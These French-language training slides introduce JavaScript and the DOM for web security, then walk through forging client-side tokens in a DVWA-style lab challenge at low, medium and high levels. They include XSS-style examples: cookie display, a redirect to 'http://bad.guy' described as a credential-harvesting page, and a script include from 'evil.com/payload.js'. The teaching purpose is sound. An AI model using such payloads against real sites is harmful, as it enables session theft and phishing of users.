# javascript ## aka ECMAScript ## Javascript * 95 netscape livescript * interpréteur js propre au navigateur * ie s'arrête de charger la page en cas d'erreur * ff ou chrome essaient de continuer l'exécution * sensible à la casse * asynchrone ## scope * `var variable` * directement dans le script * accessible partout y compris dans les fonctions * dans les fonctions * visibilité restreinte à la fonction * sans `var` visibilité globale Note: - on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js) - Google a mis le pied sur l'accélérateur avec la sortie de chrome - ca ve de mieuix en mieux en terme de comatibilité cross browser ## Les événements * sur chaque élément * chaque balise * page * système d'événement * orienté interaction utilisateur ## Les événements * onload * quand tous les éléments sont chargés * il est alors possible de modifier les contenus * onunload * quand on quitte le navigateur * abandonner car trop intrusif ## Les événements * onerror * en cas d'échec * chargement d'image ou d'iframe par exemple * onsubmit * quand un formulaire est soumis * changer l'url d'un formulaire à la volée ## Le DOM [<i class="fa fa-book" aria-hidden="true"></i> document](https://developer.mozilla.org/en-US/docs/Web/API/Document) * Document Object Model * document.referer (SEO) * id unique getElementById * renvoie un résultat * getElementsByTagname * renvoie un tableau d'elements * la page en cours est le contexte * history.back() c'est un autre contexte * frame ... ## Le DOM * document.cookie * values = document.cookie.split(';') * "userid=maze;expires=friday 29 sept" * souvent utilisé pour exploiter les XSS * changer le contenu de la page * rediriger la page * changer l'url d'un formulaire ## vrac [<i class="fa fa-book" aria-hidden="true"></i> window](https://developer.mozilla.org/en-US/docs/Web/API/Window) représente l'environement du navigateurs ```js window.alert('PoC') // affiche PoC en pop up ``` ```js console.log('plus silencieux') // affiche "plus silencieux" // dans la console (F12) ``` ```js alert(document.cookie); // affiche le contenu du // cookie de session en pop up ``` ```js window.location = "http://bad.guy"; // redirige vers http://bad.guy ``` Note: - redirection sur une page identique - maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe ## inclusion dans le corps de la page ```js <script>alert('Poc');</script> ``` dans un fichier externe ```js <script src="http://evil.com/payload.js"></script> ``` directement dans les événements associés à un élément du DOM ```js <a onclick="javascipt:alert('clicked');">peacefull link</a> <img onload="javascript:console.log('quieter');" /> ``` ## AJAX / XMLHTTPRequest * associé au web 2.0 (2006) * existe depuis le début HTTP 1.0 (1989) * google map éléments de la carte chargés et rafraichis au déplacement * permet un appel asynchrone d'url * sans recharger la page * le résultat reçu est utilisable par js * json [<i class="fa fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30) <i class="fa fa-book"></i> Apprendre JS * https://developer.mozilla.org/fr/docs/Web/JavaScript * https://www.youtube.com/watch?v=jnbiNr9b_lk * https://devdocs.io/javascript/ <i class="fa fa-book"></i> Faire du JS en 2023 * https://www.typescriptlang.org/ * https://nodejs.org/ * https://fr.reactjs.org/ * https://vuejs.org/ ### <i class="fa-solid fa-bomb"></i> Javascript / Low * analyse de la requête / formulaire * champs hidden `token` * https://beautifier.io ``` token = md5(rot13(phrase)) ``` * forcer ``` token = md5(rot13("success")) ``` * via la console / explorer du navigateur (F12) ### <i class="fa-solid fa-bomb"></i> Javascript / Medium * analyse de la requête / formulaire * champs hidden `token` ``` "XX" + reverse("ChangeMe") + "XX" ``` * forcer ``` token = "XXsseccusXX" ``` * via la console / explorer du navigateur (F12) ### <i class="fa-solid fa-bomb"></i> Javascript / High * analyse de la requête / formulaire * champs hidden `token` * interception de la requête avec `burpsuite` * la valeur soumise n'est pas celle du champs original * le code js est incompréhensible * <i class="fa-solid fa-screwdriver-wrench"></i> [http://deobfuscatejavascript.com](http://deobfuscatejavascript.com/#) ### <i class="fa-solid fa-bomb"></i> Javascript / High 1. ```js document .getElementById("phrase") .value = ""; ``` 2. ```js token_part_1("ABCD", 44); ``` * ```js do_something(phrase); ``` * inverse la phrase * mais elle est vide ### <i class="fa-solid fa-bomb"></i> Javascript / High 3. `token_part_2("XX")` est exécutée après 300ms ```js document .getElementById("token") .value = sha256( "XX" + document .getElementById("phrase") .value ) ``` * c'est bien la valeur du token pour une phrase vide ### <i class="fa-solid fa-bomb"></i> Javascript / High 4. La soumission du formulaire déclenche `token_part_3("ZZ")` * le paramètre `t` n'est pas utilisé * le jeton envoyé dans la requête est ```js sha256(document.getElementById("token").value + "ZZ") ``` ```js sha256( sha256("XX" + document.getElementById("phrase").value) + "ZZ" ) ``` ### <i class="fa-solid fa-bomb"></i> Javascript / High * considérant qu'en `2` la phrase a été inversée ```js token = sha256(sha256("XX" + "sseccus") + "ZZ") //ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84 ``` * mais `token_part_3` est toujours appelé à la soumission du formulaire * il faut forcer token avec ```js sha256("XX" + "sseccus") //7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a ``` et bien mettre la phrase à `success`